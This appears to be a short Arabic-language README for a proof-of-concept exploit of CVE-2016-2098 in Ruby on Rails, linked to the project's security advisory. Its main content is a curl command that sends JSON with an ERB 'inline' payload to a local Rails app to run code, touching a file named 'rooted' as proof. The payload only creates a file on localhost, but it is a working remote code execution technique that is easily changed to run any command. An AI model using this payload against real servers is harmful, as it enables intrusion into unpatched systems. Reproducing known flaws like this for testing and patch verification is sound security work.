dh-CVE_2016_2098

إثبات مفهوم لـ https://groups.google.com/forum/#!topic/rubyonrails-security/ly-IH-fxr_Q

== الاستغلال:

1. يجب ألّا تشغّل rails server إلا بطريقة تتيقّن من أنها لن تعرّضك للاستغلال
2. قم بتشغيل rails s
3. نفّذ الأمر التالي curl -v -H "Accept: application/json" -H "Content-type: application/json" -X GET -d ' {"id" : { "inline" : "<%= FileUtils.touch \"rooted\"%>"}}' http://localhost:3000/exploits
4. تحقّق من أن الملف "rooted" أصبح موجودًا الآن في دليل المشروع